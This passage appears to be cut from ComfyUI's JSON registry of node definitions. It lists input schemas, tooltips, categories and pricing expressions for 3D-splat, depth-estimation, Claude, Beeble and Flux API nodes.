"api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoSplatConditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {"tooltip": "DINOv3 ViT-H/16+ image encoder"}], "vae": ["VAE", {"tooltip": "Flux2 VAE"}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["clip_vision", "vae", "image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, "The fixed size noise target (latent +camera)."], "output_matchtypes": null, "name": "TripoSplatConditioning", "display_name": "TripoSplat Conditioning", "description": "Encode the image with DINOv3 and the Flux2 VAE into TripoSplat positive/negative conditioning, and create the fixed size noise target (latent + camera) for the KSampler", "python_module": "comfy_extras.nodes_triposplat", "category": "model/conditioning/triposplat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeTripoSplat": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {"tooltip": "TripoSplat VAE decoder"}], "num_gaussians": ["INT", {"tooltip": "Number of gaussians to produce (rounded to a multiple of 32). 262144 matches the octree's point density; higher oversamples the same points (denser, but no new detail) and costs proportionally more VRAM/time.", "default": 262144, "min": 32768, "max": 1048576, "step": 32}], "seed": ["INT", {"tooltip": "Seeds the octree point sampler (global RNG) for deterministic decodes.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["samples", "vae", "num_gaussians", "seed"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeTripoSplat", "display_name": "TripoSplat Decode", "description": "Decode the sampled TripoSplat latent into a 3D gaussian splat. Modify the number of gaussians to vary the density.", "python_module": "comfy_extras.nodes_triposplat", "category": "3d/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoSplatSamplingPreview": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {"tooltip": "TripoSplat VAE decoder"}], "octree_level": ["INT", {"tooltip": "Octree depth for the preview decode (lower = cheaper/coarser).", "advanced": true, "default": 5, "min": 2, "max": 8}], "num_gaussians": ["INT", {"tooltip": "Number of gaussians to produce for the preview (rounded to a multiple of 32).", "default": 16384, "min": 1024, "max": 262144, "step": 32}], "yaw": ["FLOAT", {"tooltip": "Preview camera yaw in degrees.", "advanced": true, "default": 90.0, "min": -360.0, "max": 360.0, "step": 1.0}], "pitch": ["FLOAT", {"tooltip": "Preview camera pitch in degrees.", "advanced": true, "default": 15.0, "min": -89.0, "max": 89.0, "step": 1.0}], "point_size": ["INT", {"tooltip": "Maximum splat radius in pixels. Each gaussian is sized from its scale and capped here; lower = finer/pointier, higher = chunkier.", "default": 3, "min": 1, "max": 16}]}}, "input_order": {"required": ["model", "vae", "octree_level", "num_gaussians", "yaw", "pitch", "point_size"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoSplatSamplingPreview", "display_name": "TripoSplat Sampling Preview", "description": "Patch the TripoSplat model for the standard Ksampler node to show a live decoded gaussian splat preview at each step.", "python_module": "comfy_extras.nodes_triposplat", "category": "3d/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoadDA3Model": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}], "weight_dtype": ["COMBO", {"default": "default", "multiselect": false, "options": ["default", "fp16", "bf16", "fp32"]}]}}, "input_order": {"required": ["model_name", "weight_dtype"]}, "is_input_list": false, "output": ["DA3_MODEL"], "output_is_list": [false], "output_name": ["DA3_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadDA3Model", "display_name": "Load Depth Anything 3", "description": "", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DA3Inference": {"input": {"required": {"da3_model": ["DA3_MODEL", {}], "image": ["IMAGE", {}], "resolution": ["INT", {"tooltip": "Resolution the model runs at (longest side, multiple of 14).\nLower = faster / less VRAM.\nHigher = more detail.\nOutput is upsampled back to the original size.", "default": 504, "min": 140, "max": 2520, "step": 14}], "resize_method": ["COMBO", {"tooltip": "upper_bound_resize: scale so the longest side = resolution (caps memory, default).\nlower_bound_resize: scale so the shortest side = resolution (preserves more detail on tall/wide images, uses more memory).", "default": "upper_bound_resize", "multiselect": false, "options": ["upper_bound_resize", "lower_bound_resize"]}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "mono: single view image (works with any model variant).\nmultiview: all images processed together for geometric consistency + camera pose (for Small/Base models only).", "options": [{"key": "mono", "inputs": {"required": {}}}, {"key": "multiview", "inputs": {"required": {"ref_view_strategy": ["COMBO", {"tooltip": "Which view acts as the geometric anchor.\n- saddle_balanced: the view most 'average' across all others (best general choice).\n- saddle_sim_range: the view most visually distinct from the others.\n- first / middle: fixed positional picks.", "default": "saddle_balanced", "multiselect": false, "options": ["saddle_balanced", "saddle_sim_range", "first", "middle"]}], "pose_method": ["COMBO", {"tooltip": "How the camera field-of-view is estimated (for Small/Base models only).\n- cam_dec: learned from image features.\n- ray_pose: derived geometrically from the model's 3D ray output.\nAffects perspective correctness of the 3D output. Try both if results look distorted.", "default": "cam_dec", "multiselect": false, "options": ["cam_dec", "ray_pose"]}]}}}]}]}}, "input_order": {"required": ["da3_model", "image", "resolution", "resize_method", "mode"]}, "is_input_list": false, "output": ["DA3_GEOMETRY"], "output_is_list": [false], "output_name": ["da3_geometry"], "output_tooltips": ["Dictionary of non-normalized tensors.\nAlways has the keys: depth, image, mode.\nOptional keys: sky (for Mono/Metric), confidence (for Small/Base), extrinsics + intrinsics (for multi-view)."], "output_matchtypes": null, "name": "DA3Inference", "display_name": "Run Depth Anything 3", "description": "Run Depth Anything 3 on an image. In multi-view mode each image is treated as a separate view of the same scene.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["depth", "geometry", "da3", "depth anything", "monocular", "pointmap", "sky", "3d", "metric depth", "disparity"], "essentials_category": null, "has_intermediate_output": false}, "DA3Render": {"input": {"required": {"da3_geometry": ["DA3_GEOMETRY", {}], "output": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "- depth: normalised greyscale depth image.\n- depth_colored: depth mapped through the Turbo colormap.\n- sky_mask: sky probability in [0, 1] (for Mono/Metric models only).\n- confidence: normalised depth confidence (for Small/Base models only).", "options": [{"key": "depth", "inputs": {"required": {"normalization": ["COMBO", {"tooltip": "- v2_style: mean/std normalisation for perceptually balanced results (default).\n- min_max: stretches the full depth range to [0, 1] for maximum contrast.\n- raw: no scaling,preserves metric units for Metric model.", "default": "v2_style", "multiselect": false, "options": ["v2_style", "min_max", "raw"]}], "apply_sky_clip": ["BOOLEAN", {"tooltip": "Clip sky-region depth to the 99th percentile of foreground depth before normalisation. Requires a sky key in the da3_geometry input (for Mono/Metric models only).", "default": false}]}}}, {"key": "depth_colored", "inputs": {"required": {"normalization": ["COMBO", {"tooltip": "- v2_style: mean/std normalisation for perceptually balanced results (default).\n- min_max: stretches the full depth range to [0, 1] for maximum contrast.\n- raw: no scaling,preserves metric units for Metric model.", "default": "v2_style", "multiselect": false, "options": ["v2_style", "min_max", "raw"]}], "apply_sky_clip": ["BOOLEAN", {"tooltip": "Clip sky-region depth to the 99th percentile of foreground depth before normalisation. Requires a sky key in the da3_geometry input (for Mono/Metric models only).", "default": false}]}}}, {"key": "sky_mask", "inputs": {"required": {"colored": ["BOOLEAN", {"tooltip": "Apply the Turbo colormap to the sky mask.", "default": false}]}}}, {"key": "confidence", "inputs": {"required": {"colored": ["BOOLEAN", {"tooltip": "Apply the Turbo colormap to the confidence map.", "default": false}]}}}]}]}}, "input_order": {"required": ["da3_geometry", "output"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "DA3Render", "display_name": "Render Depth Anything 3", "description": "Render a depth map, confidence map, or sky mask from Depth Anything 3 geometry data.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DA3GeometryToMesh": {"input": {"required": {"da3_geometry": ["DA3_GEOMETRY", {}], "batch_index": ["INT", {"tooltip": "Which image of a batch to convert. Per-image vertex counts differ so batches cannot be stacked.", "default": 0, "min": 0, "max": 4096}], "decimation": ["INT", {"tooltip": "Vertex stride. 1 = full resolution, 2 = half, etc.", "default": 1, "min": 1, "max": 8}], "discontinuity_threshold": ["FLOAT", {"tooltip": "Drop triangles whose 3x3 depth span exceeds this fraction. 0 = off.", "default": 0.04, "min": 0.0, "max": 1.0, "step": 0.01}], "confidence_threshold": ["FLOAT", {"tooltip": "Exclude pixels whose per-image normalised confidence is below this value (0 = keep all, 1 = keep only the single most confident pixel). Used when the geometry has a confidence map (Small/Base models).", "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}], "use_sky_mask": ["BOOLEAN", {"tooltip": "Exclude sky-probability pixels (sky >= 0.5) from the mesh. Used when the geometry has a sky map (Mono/Metric models).", "default": true}], "texture": ["BOOLEAN", {"tooltip": "Use the source image as a base color texture.", "default": true}]}}, "input_order": {"required": ["da3_geometry", "batch_index", "decimation", "discontinuity_threshold", "confidence_threshold", "use_sky_mask", "texture"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "DA3GeometryToMesh", "display_name": "Convert DA3 Geometry to Mesh", "description": "Convert a depth map into a triangulated 3D mesh.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["da3", "depth anything", "mesh", "geometry", "3d", "triangulate"], "essentials_category": null, "has_intermediate_output": false}, "SeedNode": {"input": {"required": {"seed": ["INT", {"min": 0, "max": 9223372036854775807, "control_after_generate": "fixed"}]}}, "input_order": {"required": ["seed"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["seed"], "output_tooltips": [null], "output_matchtypes": null, "name": "SeedNode", "display_name": "Seed", "description": "", "python_module": "comfy_extras.nodes_seed", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["seed", "random"], "essentials_category": null, "has_intermediate_output": false}, "ClaudeNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Claude model used to generate the response.", "options": [{"key": "Opus 4.7", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Opus 4.6", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Sonnet 4.6", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Sonnet 4.5", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Haiku 4.5", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "images"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ClaudeNode", "display_name": "Anthropic Claude", "description": "Generate text responses with Anthropic's Claude models. Provide a text prompt and optionally one or more images for multimodal context.", "python_module": "comfy_api_nodes.nodes_anthropic", "category": "partner/text/Anthropic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"opus\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.005, 0.025],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"sonnet\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.003, 0.015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"haiku\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.001, 0.005],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "BeebleSwitchXVideoEdit": {"input": {"required": {"video": ["VIDEO", {}], "prompt": ["STRING", {"tooltip": "Text description of the desired output (max 2000 chars). At least one of 'prompt' or 'reference_image' is required.", "default": "", "multiline": true}], "alpha_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Controls how SwitchX decides what to keep vs. regenerate. 'auto' isolates the main subject automatically. 'fill' regenerates the entire frame while preserving geometry. 'select' propagates a first-frame keyframe across the clip. 'custom' uses a per-frame alpha matte you provide.", "options": [{"key": "auto", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "select", "inputs": {"required": {"alpha_keyframe": ["MASK", {"tooltip": "First-frame keyframe mask. Beeble propagates this across the video."}]}}}, {"key": "custom", "inputs": {"required": {"alpha_mask": ["MASK", {"tooltip": "Per-frame grayscale mask covering the entire video. Must have the same frame count as the source. Connect a MASK output from SAM3_TrackToMask or similar."}]}}}]}], "max_resolution": ["COMBO", {"tooltip": "Maximum output resolution.", "default": "1080p", "multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Reference image whose look (background, lighting, costume) the result should adopt. At least one of 'reference_image' or 'prompt' is required."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "alpha_mode", "max_resolution", "seed"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "VIDEO"], "output_is_list": [false, false], "output_name": ["video", "alpha"], "output_tooltips": [null, "The alpha matte Beeble used. Empty for 'fill' mode, which has no separate matte."], "output_matchtypes": null, "name": "BeebleSwitchXVideoEdit", "display_name": "Beeble SwitchX Video Edit", "description": "Edit a video with Beeble SwitchX. Switches anything in the scene (background, lighting, costume) while preserving the original subject's pixels and motion. Provide a reference image and/or text prompt to describe the new look. Max 240 frames, max ~2.77MP per frame.", "python_module": "comfy_api_nodes.nodes_beeble", "category": "partner/video/Beeble", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "max_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.max_resolution = \"1080p\" ? 0.429 : 0.143;\n {\"type\":\"usd\",\"usd\": $rate, \"format\":{\"suffix\":\"/30 frames\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BeebleSwitchXImageEdit": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Text description of the desired output (max 2000 chars). At least one of 'prompt' or 'reference_image' is required.", "default": "", "multiline": true}], "alpha_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Controls how SwitchX decides what to keep vs. regenerate. 'auto' isolates the main subject automatically. 'fill' regenerates the entire frame while preserving geometry. 'select' propagates a first-frame keyframe across the clip. 'custom' uses a per-frame alpha matte you provide.", "options": [{"key": "auto", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "select", "inputs": {"required": {"alpha_keyframe": ["MASK", {"tooltip": "Grayscale keyframe mask."}]}}}, {"key": "custom", "inputs": {"required": {"alpha_mask": ["MASK", {"tooltip": "Grayscale mask to apply."}]}}}]}], "max_resolution": ["COMBO", {"tooltip": "Maximum output resolution.", "default": "1080p", "multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Reference image whose look (background, lighting, costume) the result should adopt. At least one of 'reference_image' or 'prompt' is required."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "alpha_mode", "max_resolution", "seed"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["image", "alpha"], "output_tooltips": [null, "The alpha matte Beeble used. Empty for 'fill' mode, which has no separate matte."], "output_matchtypes": null, "name": "BeebleSwitchXImageEdit", "display_name": "Beeble SwitchX Image Edit", "description": "Edit a single image with Beeble SwitchX. Switches anything in the scene (background, lighting, costume) while preserving the original subject's pixels. Provide a reference image and/or text prompt to describe the new look. Max ~2.77MP.", "python_module": "comfy_api_nodes.nodes_beeble", "category": "partner/image/Beeble", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "max_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.max_resolution = \"1080p\" ? 0.429 : 0.143;\n {\"type\":\"usd\",\"usd\": $rate}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProUltraImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "raw": ["BOOLEAN", {"tooltip": "When True, generate less processed, more natural-looking images.", "default": false}]}, "optional": {"image_prompt": ["IMAGE", {}], "image_prompt_strength": ["FLOAT", {"tooltip": "Blend between the prompt and the image prompt.", "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "prompt_upsampling", "seed", "aspect_ratio", "raw"], "optional": ["image_prompt", "image_prompt_strength"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProUltraImageNode", "display_name": "Flux 1.1 [pro] Ultra Image", "description": "Generates images using Flux Pro 1.1 Ultra via api based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.06}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextProImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation - specify what and how to edit.", "default": "", "multiline": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 3.0, "min": 0.1, "max": 99.0, "step": 0.1}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 1, "max": 150}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 1234, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}]}, "optional": {"input_image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "guidance", "steps", "seed", "prompt_upsampling"], "optional": ["input_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextProImageNode", "display_name": "Flux.1 Kontext [pro] Image", "description": "Edits images using Flux.1 Kontext [pro] via api based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextMaxImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation - specify what and how to edit.", "default": "", "multiline": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 3.0, "min": 0.1, "max": 99.0, "step": 0.1}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 1, "max": 150}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 1234, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}]}, "optional": {"input_image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "guidance", "steps", "seed", "prompt_upsampling"], "optional": ["input_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextMaxImageNode", "display_name": "Flux.1 Kontext [max] Image", "description": "Edits images using Flux.1 Kontext [pro] via api based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProExpandNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "top": ["INT", {"tooltip": "Number of pixels to expand at the top of the image", "default": 0, "min": 0, "max": 2048}], "bottom": ["INT", {"tooltip": "Number of pixels to expand at the bottom of the image", "default": 0, "min": 0, "max": 2048}], "left": ["INT", {"tooltip": "Number of pixels to expand at the left of the image", "default": 0, "min": 0, "max": 2048}], "right": ["INT", {"tooltip": "Number of pixels to expand at the right of the image", "default": 0, "min": 0, "max": 2048}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 60, "min": 1.5, "max": 100}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 15, "max": 50}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "prompt_upsampling", "top", "bottom", "left", "right", "guidance", "steps", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProExpandNode", "display_name": "Flux.1 Expand Image", "description": "Outpaints image based on prompt.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, 